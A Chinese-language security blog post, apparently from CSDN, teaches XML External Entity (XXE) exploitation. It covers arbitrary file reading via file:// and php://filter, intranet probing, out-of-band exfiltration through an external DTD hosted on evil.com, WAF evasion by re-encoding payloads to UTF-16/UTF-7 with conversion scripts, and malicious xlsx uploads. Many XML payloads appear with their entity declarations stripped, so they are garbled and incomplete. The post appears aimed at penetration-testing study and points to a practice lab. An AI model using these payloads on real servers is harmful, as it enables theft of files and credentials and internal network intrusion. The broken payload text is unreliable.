文件读取 xxe_XXE

一、    XXE是什么?有哪些危害?

XML外部实体,允许XML引用外部数据作为变量。形式如下。

<?xml version="1.0"?>]><user><username>&xxe;username><password>adminpassword>user>

由于外部实体允许多种协议,所以XXE等同于任意文件读取+SSRF
XXE靶场
https://github.com/c0ny1/xxe-lab

二、    XXE利用
如果传递的某个参数可以反射出来,那这就是一个带回显的XXE,可以利用file协议进行任意文件读取

POST /xxe/doLogin.php HTTP/1.1Host: luoke.cn:81Content-Type: application/xml;charset=utf-8Content-Length: 157<?xml version="1.0"?>]><user><username>&xxe;username><password>adminpassword>user>

26e50a2b4c388964b18645ff95531c32.png

其次可以用http(s),ftp等协议来探测内网。php支持一些伪协议,java支持jar,旧版支持gopher。

<?xml version="1.0"?>]><user><username>&xxe;username><password>adminpassword>user>

或者

<?xml version="1.0"?>%xxe;]><user><username>adminusername><password>adminpassword>user>

此时内容很难回显,可以尝试从报错信息和响应时间来判断端口是否开放,也常用dnslog来判定是否存在xxe漏洞或者支持此协议。
其中php支持更多伪协议,比如data:text/plain,luoke

76178c53c6728fcfd4f72dc21fcf433b.png

更常用的是php://filter/convert.base64-encode/resource=doLogin.php,用来绕过和xml冲突的一些字符【'"<>?&】

dced9fc98e5fd471ba09962060e588a9.png

更多伪协议见《php文件包含》。

三、    dtd利用
可以在恶意服务器中放置dtd文件,然后将file或者http探测代码写在dtd上,xml请求时引入

<?xml version="1.0"?>%dtd;]><user><username>&all;username><password>adminpassword>user>

dtd内容为

<!ENTITY all SYSTEM "php://filter/convert.base64-encode/resource=doLogin.php">

46d36be75fd60481e4a0d06ec376601f.png

dtd还常用于没有反射变量,通过url请求外带数据。
在evil.com上监听其8081端口,请求为:

<?xml version="1.0"?>%dtd;]><user><username>adminusername><password>adminpassword>user>

dtd内容为:

"php://filter/convert.base64-encode/resource=doLogin.php">eval %eval;%error;

89a9bb9c40f3e1a1463e8654a31e6098.png

也可以用dtd在外部拼接CDATA从而绕过xml显示【'"<>?&】字符限制,但无法绕过【%】限制
C盘根目录新建一个test'"<>?&test内容的test文件
请求为

<?xml version="1.0" encoding="utf-8"?>      ">  <!ENTITY % dtd SYSTEM "http://evil.com/evil.dtd"> %dtd; ]> <user><username>&all;username><password>adminpassword>user>

dtd改为

"%start;%goodies;%end;">

a35536b76f11857b6a61dd47e6896a53.png

在内部实体中是无法进行拼接的,也无法外带数据。

除此之外,在java环境中,换行文件用ftp协议外带更容易。


此外还有一种本地dtd文件的利用
https://blog.csdn.net/qq_38154820/article/details/106330095

四、    编码绕过WAF

xml支持UTF-16和UTF-7,常用来绕过WAF拦截
新建utf-8.xml

<?xml version="1.0"?>]><user><username>&xxe;username><password>adminpassword>user>

linux系统中iconv -f utf8 -t utf16 utf-8.xml > utf-16.xml
iconv -f utf8 -t utf7 utf-8.xml > utf-7.xml

0ebadbcdcfbe83f8d9e6165b703a1bdd.png

6597a50954072ec88cd3849b9b251d0c.png

utf-7需要替换一下xml头为<?xmlversion ="1.0" encoding="utf-7"?>

9e7a30fb0997e573dba770935accd7d8.png

utf-16规则为fffe的BOM头,每个字节加上00
所以很容易用python写出转码脚本

#python2f8 = open('utf-8.xml','rb')f16 = open('utf-16.xml','wb')p8 = f8.read().encode('hex')p16 = "fffe"+("00".join(p8[i: i+2] for i in range(0, len(p8)+1, 2)))f16.write(p16.decode('hex'))

utf-7较为复杂,用php处理xml请求再反射回来处理比较容易,注意&xxe;先改为xxe;

<?php libxml_disable_entity_loader(false);$xml = <<<?xml version="1.0" encoding="utf-7"?>]>xxe;adminEOD;$dom = new DOMDocument;$dom->preserveWhiteSpace = false;$dom->formatOutput = true;// load the XML string defined above$dom->loadXML($xml,LIBXML_NOENT);// substitute xincludes$a = $dom->saveXML();$a = str_replace("+AD4-xxe","+AD4AJg-xxe",$a);$a = str_replace("+ADw?xml version+AD0AIg-1.0+ACI encoding+AD0AIg-utf-7+ACI?+AD4",'<?xml version="1.0" encoding="utf-7"?>',$a);echo $a;?>

ab5f573c651d0a51cfe57eaa39a4b692.png

五、    文件XXE

有时候会直接上传xml文件进行解析,也可能产生XXE。
而微软的新版office文件都是xml的压缩文件形式。
最典型的xlsx文件导入数据,比如1.xlsx改为1.zip,解压即可看到

fe96f6d3e817e4724775732af4ff250c.png

修改[Content_Types].xml,插入恶意代码,然后重新压缩回xlsx,上传即可触发dnslog

]><x>&xxe;<x>

009f8588ddd3f9a6eacf70e6e90a08a0.png

也可以尝试其他文件,比如/xl/workbook.xml 、/xl/worksheets/shee1.xml

除此之外,docx,pptx等文件也可能存在同类问题。

Java常用的poi和poi-ooxml存在如下office文件上传xxe漏洞

CVE-2014-3529/CVE-2014-3574/CVE-2016-5000/CVE-2017-5644/

Weblogic存在xml文件上传xxe漏洞

CVE-2018-3246

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值